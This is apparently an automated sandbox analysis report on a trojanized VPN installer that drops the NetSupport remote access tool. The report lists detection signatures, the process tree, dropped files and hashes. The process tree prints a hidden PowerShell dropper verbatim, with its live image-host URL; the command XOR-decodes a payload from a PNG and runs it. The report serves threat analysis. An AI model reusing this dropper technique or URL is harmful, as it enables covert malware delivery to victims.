Analysis

  • max time kernel
    149s
  • max time network
    104s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250410-en
  • resource tags

    arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    18/04/2025, 22:29

General

  • Target

    SherenVPN-x64-6-1-6.exe

  • Size

    4.2MB

  • MD5

    4022690847251ec50dfef8a36991829c

  • SHA1

    8bce1444ea17969f21f8c5ed91f1fc5752af1c4a

  • SHA256

    ae45484a1881d55afae4952224c4a8352e1163a9fb57d095431711e5dccdcd18

  • SHA512

    1e874a44b9918a7661868a74d3c16c6eb750304bacebf72ae393800ff72217f7c47c9311c16ec0088ba03c0a4485b2bd431a9c603935d677e7edfee893d366c2

  • SSDEEP

    98304:uxHXs+8aetFyiI7pt4bKvAvIr4cv4D3VFXPn+zKaw:usXCf4bZv84cgxFfn+zKP

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://i.postimg.cc/wBWwqh0k/hungary-memee.png

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Netsupport family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • Themida packer 18 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SherenVPN-x64-6-1-6.exe
    "C:\Users\Admin\AppData\Local\Temp\SherenVPN-x64-6-1-6.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2828
    • C:\Users\Admin\AppData\Local\Temp\is-P896U.tmp\SherenVPN-x64-6-1-6.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-P896U.tmp\SherenVPN-x64-6-1-6.tmp" /SL5="$5028E,3387731,858624,C:\Users\Admin\AppData\Local\Temp\SherenVPN-x64-6-1-6.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4676
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$d=(New-Object System.Net.WebClient).DownloadData('https://i.postimg.cc/wBWwqh0k/hungary-memee.png');$k=$d[129];$i=[Text.Encoding]::ASCII.GetString($d).LastIndexOf('IDAT')+4;$z=$d[$i..$d.Length]|%{$_-bxor $k};[IO.File]::WriteAllBytes(\"$env:TEMP\\fqGcmaI.zip\",$z);Expand-Archive -LiteralPath \"$env:TEMP\\fqGcmaI.zip\" -DestinationPath \"$env:TEMP\";Start-Process \"$env:TEMP\\AdBlock.exe\" -WindowStyle Hidden"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Users\Admin\AppData\Local\Temp\AdBlock.exe
          "C:\Users\Admin\AppData\Local\Temp\AdBlock.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2356

Network

MITRE ATT&CK Enterprise v16

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\AdBlock.exe

    Filesize

    117KB

    MD5

    1f355f4ba841cc3c5ec905cd6d733b3e

    SHA1

    931e10f452ce859b73ba3abe4c2b37a0514ccbb1

    SHA256

    5aa8afe28d34c39d8004a0a1fe942938a36baa4ecd7817cb679854e8e7c18ddb

    SHA512

    4642b44ce4e5628b9d0ba7d9a20324f58e031cbb21848b2ff56dae5473484b284d6624f9fb3a68be4f9aa7bc951509f4d6f3e3b29f64e31ba991473dad63f1a4

  • C:\Users\Admin\AppData\Local\Temp\HTCTL32.DLL

    Filesize

    316KB

    MD5

    051cdb6ac8e168d178e35489b6da4c74

    SHA1

    38c171457d160f8a6f26baa668f5c302f6c29cd1

    SHA256

    6562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269

    SHA512

    602ab9999f7164a2d1704f712d8a622d69148eefe9a380c30bc8b310eadedf846ce6ae7940317437d5da59404d141dc2d1e0c3f954ca4ac7ae3497e56fcb4e36

  • C:\Users\Admin\AppData\Local\Temp\MSVCR100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Local\Temp\NSM.LIC

    Filesize

    259B

    MD5

    4e8ecebce46ceef1f6e29c71b6d3be94

    SHA1

    2345f5203dc819c33782d8f3632f13e835066392

    SHA256

    76f0b30a1d93469ab744ac81a2f9f96f180e5df964189d3f9b71aef2673dff46

    SHA512

    80c0949bc0842e036a3ee3ca2023af9465c3f9d6a18a028b1453630a6b1005c9d9b44747600c41899ad551a57510fbe845a7f06df04763ec278189f22b4d2b3e

  • C:\Users\Admin\AppData\Local\Temp\PCICHEK.DLL

    Filesize

    14KB

    MD5

    3aabcd7c81425b3b9327a2bf643251c6

    SHA1

    ea841199baa7307280fc9e4688ac75e5624f2181

    SHA256

    0cff893b1e7716d09fb74b7a0313b78a09f3f48c586d31fc5f830bd72ce8331f

    SHA512

    97605b07be34948541462000345f1e8f9a9134d139448d4f331cefeeca6dad51c025fcab09d182b86e5a4a8e2f9412b3745ec86b514b0523497c821cb6b8c592

  • C:\Users\Admin\AppData\Local\Temp\PCICL32.dll

    Filesize

    4.4MB

    MD5

    5f2534e39a9573a4b1cb7fe6b883605c

    SHA1

    0fed78b77c970985dc987da46475c3ed63fb1bff

    SHA256

    45d3dbf973e35a691cc8caa08ab7e4d920122e6775358b672109d789be0503ae

    SHA512

    b3d085598aa9056e1810f846dfaf6df5a4abe756d24605931ec8c2045215d1b057693dbbe629cfc226e4b459604d14a07ff2c889e3fcad2f2f5e9dec398ef6f1

  • C:\Users\Admin\AppData\Local\Temp\SherenVPN\bin\openvpnserv.exe

    Filesize

    64KB

    MD5

    f4bde1658456fca1af425a5ed35843d4

    SHA1

    0392d4a64fc4110811f54d72ba8669da93eab338

    SHA256

    4d7ba182e89f2869b650ac80a34b8f347deb360a3872ee9dca130168b32c87fa

    SHA512

    37d83474bfbfbde3f333176b0ea0cbc287a41dbe3491e0eab6eecb9643158b53e878d020a83d362fb504218609050171920ade3b048a701259995f87cda37b6c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fv0tjad2.n3q.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\client32.ini

    Filesize

    652B

    MD5

    5a1d51c2766fd81896b7918190f0711c

    SHA1

    97bff5bd64b32600e59f81f47922ff7df16f14a3

    SHA256

    fc0d9cf9e7d97d4f6b99e0584b7fd029ad72f8f07d4b8c329b5c457afd52b45f

    SHA512

    fca6f0af0bee203011f9167198719f0fb42cd92200c33dfb37353c04ee6db96a55ac51c36bfcb6b2656b22dc6eafcc7aaefa9645ebdd1b11e11b464d3d358c14

  • C:\Users\Admin\AppData\Local\Temp\is-P896U.tmp\SherenVPN-x64-6-1-6.tmp

    Filesize

    3.4MB

    MD5

    afda7768e85dee4272a556318808a065

    SHA1

    eb69a834fdd8bc1293046908705249c973a04195

    SHA256

    4b555a3984c5a43101f02b25386edc8bc34d6024927cd38250521989638a9af2

    SHA512

    bd7bb00a4298e2f8fe0da6bd3903d196def6f68881378c0566567107151eae15c899b3e06eaddb67a092e4e5895c4e5c6017d11659e0aa335a49c837301ccbb3

  • C:\Users\Admin\AppData\Local\Temp\pcicapi.DLL

    Filesize

    106KB

    MD5

    67c53a770390e8c038060a1921c20da9

    SHA1

    49e63af91169c8ce7ef7de3d6a6fb9f8f739fa3a

    SHA256

    2dfdc169dfc27462adc98dde39306de8d0526dcf4577a1a486c2eef447300689

    SHA512

    201e07dbccd83480d6c4d8562e6d0a9e4c52ed12895f0b91d875c2bbcc50b3b1802e11e5e829c948be302bf98ebde7fb2a99476065d1709b3bdbcd5d59a1612d

  • memory/1940-57-0x0000000007AB0000-0x0000000007AC1000-memory.dmp

    Filesize

    68KB

  • memory/1940-16-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-15-0x0000000005CC0000-0x0000000005D26000-memory.dmp

    Filesize

    408KB

  • memory/1940-25-0x0000000005D70000-0x00000000060C7000-memory.dmp

    Filesize

    3.3MB

  • memory/1940-26-0x0000000006240000-0x000000000625E000-memory.dmp

    Filesize

    120KB

  • memory/1940-27-0x00000000062F0000-0x000000000633C000-memory.dmp

    Filesize

    304KB

  • memory/1940-8-0x000000007363E000-0x000000007363F000-memory.dmp

    Filesize

    4KB

  • memory/1940-113-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-30-0x0000000007B90000-0x000000000820A000-memory.dmp

    Filesize

    6.5MB

  • memory/1940-31-0x0000000006790000-0x00000000067AA000-memory.dmp

    Filesize

    104KB

  • memory/1940-33-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-32-0x000000007363E000-0x000000007363F000-memory.dmp

    Filesize

    4KB

  • memory/1940-34-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-10-0x0000000004DC0000-0x0000000004DF6000-memory.dmp

    Filesize

    216KB

  • memory/1940-12-0x0000000005500000-0x0000000005B2A000-memory.dmp

    Filesize

    6.2MB

  • memory/1940-52-0x00000000077B0000-0x00000000077CE000-memory.dmp

    Filesize

    120KB

  • memory/1940-53-0x0000000007980000-0x0000000007A24000-memory.dmp

    Filesize

    656KB

  • memory/1940-48-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-42-0x0000000070000000-0x000000007004C000-memory.dmp

    Filesize

    304KB

  • memory/1940-41-0x0000000007770000-0x00000000077A4000-memory.dmp

    Filesize

    208KB

  • memory/1940-54-0x0000000007A80000-0x0000000007A8A000-memory.dmp

    Filesize

    40KB

  • memory/1940-55-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-56-0x0000000008210000-0x00000000082A6000-memory.dmp

    Filesize

    600KB

  • memory/1940-11-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-58-0x0000000007B30000-0x0000000007B52000-memory.dmp

    Filesize

    136KB

  • memory/1940-59-0x0000000008860000-0x0000000008E06000-memory.dmp

    Filesize

    5.6MB

  • memory/1940-60-0x0000000073630000-0x0000000073DE1000-memory.dmp

    Filesize

    7.7MB

  • memory/1940-62-0x00000000082F0000-0x00000000082FA000-memory.dmp

    Filesize

    40KB

  • memory/1940-61-0x0000000008310000-0x0000000008322000-memory.dmp

    Filesize

    72KB

  • memory/1940-14-0x0000000005BA0000-0x0000000005C06000-memory.dmp

    Filesize

    408KB

  • memory/1940-13-0x00000000054B0000-0x00000000054D2000-memory.dmp

    Filesize

    136KB

  • memory/2356-193-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-195-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-199-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-112-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-198-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-114-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-116-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-115-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-117-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-197-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-196-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-194-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-192-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-191-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-190-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-189-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2356-188-0x0000000011000000-0x0000000011B5B000-memory.dmp

    Filesize

    11.4MB

  • memory/2828-187-0x0000000000E20000-0x0000000000F01000-memory.dmp

    Filesize

    900KB

  • memory/2828-2-0x0000000000E21000-0x0000000000ECE000-memory.dmp

    Filesize

    692KB

  • memory/2828-0-0x0000000000E20000-0x0000000000F01000-memory.dmp

    Filesize

    900KB

  • memory/2828-28-0x0000000000E20000-0x0000000000F01000-memory.dmp

    Filesize

    900KB

  • memory/4676-29-0x0000000000030000-0x000000000039D000-memory.dmp

    Filesize

    3.4MB

  • memory/4676-39-0x0000000000030000-0x000000000039D000-memory.dmp

    Filesize

    3.4MB

  • memory/4676-6-0x0000000002C60000-0x0000000002C61000-memory.dmp

    Filesize

    4KB

  • memory/4676-184-0x0000000000030000-0x000000000039D000-memory.dmp

    Filesize

    3.4MB

  • memory/4676-9-0x0000000002C60000-0x0000000002C61000-memory.dmp

    Filesize

    4KB

  • memory/4676-186-0x0000000000030000-0x000000000039D000-memory.dmp

    Filesize

    3.4MB

  • memory/4676-36-0x0000000000030000-0x000000000039D000-memory.dmp

    Filesize

    3.4MB